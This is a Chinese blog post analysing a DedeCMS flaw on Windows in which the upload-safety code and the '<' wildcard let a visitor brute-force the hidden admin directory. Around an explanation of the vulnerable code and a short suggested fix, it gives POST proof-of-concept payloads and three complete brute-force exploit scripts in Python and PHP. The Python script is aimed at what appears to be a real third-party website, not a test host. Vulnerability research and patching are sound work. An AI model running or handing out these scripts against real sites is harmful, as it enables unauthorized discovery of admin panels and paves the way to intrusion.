DedeCMS找后台目录漏洞

参考文章

https://xianzhi.aliyun.com/forum/topic/2064

 

近期,学习的先知社区《解决DEDECMS历史难题--找后台目录》的内容,记录一下。

 

利用限制

仅针对windows系统

DedeCMS目前下载的最新版的还存在此问题。(DedeCMS-V5.7-UTF8-SP2.tar.gz )在网盘里找相应名字的就行

 

漏洞成因

首先看核心文件include/common.inc.php 大概148行左右,这一块是对上传文件的安全处理。

//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}

 

跟进uploadsafe.inc.php文件,25行

if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
    exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name 
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
    if(!defined('DEDEADMIN'))
    {
        exit('Not Admin Upload filetype not allow !');
    }
}
if(empty(${$_key.'_size'}))
{
    ${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
    "image/pjpeg", "image/jpeg", "image/gif", "image/png", 
    "image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
    $image_dd = @getimagesize($$_key); 
    //问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
    if (!is_array($image_dd))
    {
        exit('Upload filetype not allow !');
    }
}

 

出发点是找个可以利用<<通配符猜解后台目录,所以只要$$_key参数可控就可以达到目的。

但在这之前有个if(!defined('DEDEADMIN'))的判断,这个很好绕过设置name为0就可以绕过。

因为这块第一个if判断$_key.'_name'是否为空,为空就不往下进行判断,所以给name赋值0就可以绕过了。

if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
    if(!defined('DEDEADMIN'))
    {
        exit('Not Admin Upload filetype not allow !');
    }
}

 

最后关键的一点就是要让文件存在还和不存在返回不同的内容就要控制type参数了。

当目录文件存在的时候 返回正常页面。当不存在的时候返回:Upload filetype not allow !

 

最后总结一下:

$$_key这个变量可控是关键,此漏洞就是利用了往这个变量里传入一张已知存在于后台目录的图片,通过不断爆破路径检测页面是否返回'Upload filetype not allow !'来判断路径是否正确,最终确定后台路径是什么。

 

构造POC

 

http://localhost/dedecms/tags.php

POST

dopost=save&_FILES[b4dboy][tmp_name]=./de</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif

Common.inc.php 是被全局包含的文件,只要文件php文件包含了Common.inc.php都可以进行测试,以tags.php文件为例

 

上面是作者的原POC,有个小问题需要注意一下,POST的是tags.php 属于根目录下的文件,在根目录下没有tags.php的情况下,需要找一个包含common.inc.php的文件,在这种情况下只能找二级目录下的文件,例如:/plus /include

 

那么如果根目录下不存在tags.php,POC的POST内同应该这样写

 

http://localhost/dedecms/plus/diy.php

POST

dopost=save&_FILES[b4dboy][tmp_name]=./../de</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif

 

形成EXP

 

#!/usr/bin/env python
'''/*
    * author = Mochazz
    * team   = 红日安全团队
    * env    = pyton3
    *
    */
'''
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
# url = "http://192.168.1.9/tags.php"
url = "http://www.xmspower.com/tags.php"
data = {
    "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
    "_FILES[mochazz][name]" : 0,
    "_FILES[mochazz][size]" : 0,
    "_FILES[mochazz][type]" : "image/gif"
}

for num in range(1,7):
    if flag:
        break
    for pre in itertools.permutations(characters,num):
        pre = ''.join(list(pre))
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
        print("testing",pre)
        r = requests.post(url,data=data)
        if "Upload filetype not allow !" not in r.text and r.status_code == 200:
            flag = 1
            back_dir = pre
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
            break
        else:
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] 前缀为:",back_dir)
flag = 0
for i in range(30):
    if flag:
        break
    for ch in characters:
        if ch == characters[-1]:
            flag = 1
            break
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
        r = requests.post(url, data=data)
        if "Upload filetype not allow !" not in r.text and r.status_code == 200:
            back_dir += ch
            print("[+] ",back_dir)
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
            break
        else:
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"

print("后台地址为:",back_dir)
python版exp

 

<?php
$domain='http://localhost/dedecms/';
$url=$domain.'/index.php';
function post($url, $data, $cookie = '') {
    $options = array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => true,
        CURLOPT_POST => true,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_COOKIE => $cookie,
        CURLOPT_POSTFIELDS => $data,
    );
    $ch = curl_init($url);
    curl_setopt_array($ch, $options);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}
$testlen=25;
$str=range('a','z');
$number=range(0,9,1);
$dic = array_merge($str, $number);
$n=true;
$nn=true;
$path='';
while($n){
    foreach($dic as $v){
        foreach($dic as $vv){
            #echo $v.$vv .'----';
            $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$v$vv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
            $result=post($url,$post_data);
            if(strpos($result,'Upload filetype not allow !') === false){
                $path=$v.$vv;$n=false;break 2;
            }
        }
    }
}
while($nn){
    foreach($dic as $vvv){
        $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$path$vvv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
        $result=post($url,$post_data);
        if(strpos($result,'Upload filetype not allow !') === false){
            $path.=$vvv;
            echo $path . PHP_EOL;
            $giturl=$domain.'/'.$path.'/images/admin_top_logo.gif';
            if(@file_get_contents($giturl)){
                echo $domain.'/'.$path.'/';
                $nn=false;break 2;
            }
        }
    }
}
?>
PHP版exp1

 

<?php
    /*
        dedecms 后台地址爆破工具
        使用程序时,必须指定dedecms的版本,例如:5.6
        当你不确定dedecms版本时,请将5.6和5.7两个版本都尝试一遍,总有一个适合您!
        Example: php.exe dedecms-exp.php 5.6 http://127.0.0.1/
    */

    if(!isset($argv[1]) or !isset($argv[2])) {
        exit("error!\r\nExample: php.exe dedecms-exp.php 5.6 http://127.0.0.1/");
    }

    $domain = $argv[2];
    $url = $domain . '/tags.php';
    $version = $argv[1];

    $path = my_func($url);

    if($path) {
        while(($path = my_func($url, $path))) {
            echo strtolower($path) . "\r\n";
        }
    }
    else {
        for($i = 48; $i <= 90; $i++) {
            if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
                $path = my_func($url, chr($i));
                while($path) {
                    echo strtolower($path) . "\r\n";
                    $path = my_func($url, $path);
                }
            }
        }
    }

    exit();

    function my_func($url, $path = '') {
        $ch = curl_init($url);
        $i = 48;
        global $version;

        while($i <= 90) {
            if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
                if($version != '5.7') {
                    /* v5.6版本及其以下 */
                    $admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';
                }
                else {
                    /* v5.7版本 */
                    $admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';
                }

                $data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';

                $options = array(
                                CURLOPT_USERAGENT => 'Firefox/58.0',
                                CURLOPT_RETURNTRANSFER => true,
                                CURLOPT_POST => true,
                                CURLOPT_POSTFIELDS => $data,
                );

                curl_setopt_array($ch, $options);

                $response = curl_exec($ch);

                if(!preg_match('/(Upload filetype not allow !)/i', $response)) {
                    $path = $path . chr($i);
                    return $path;
                }
            }

            $i++;
        }

        curl_close($ch);
        return false;
    }

?>
PHP版exp2

 

修复方案

这个是我自己提供的可能不权威,

主要思路就是把.和/过滤掉,这样就读取不了文件了。

if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
    {
        $$_key = preg_replace('#[\/\.]#i', '', $$_key);
        $image_dd = @getimagesize($$_key);
        if (!is_array($image_dd))
        {
            exit('Upload filetype not allow !');
        }
    }

 

posted @ 2018-02-28 17:11  时光不改  阅读(12186)  评论(0编辑  收藏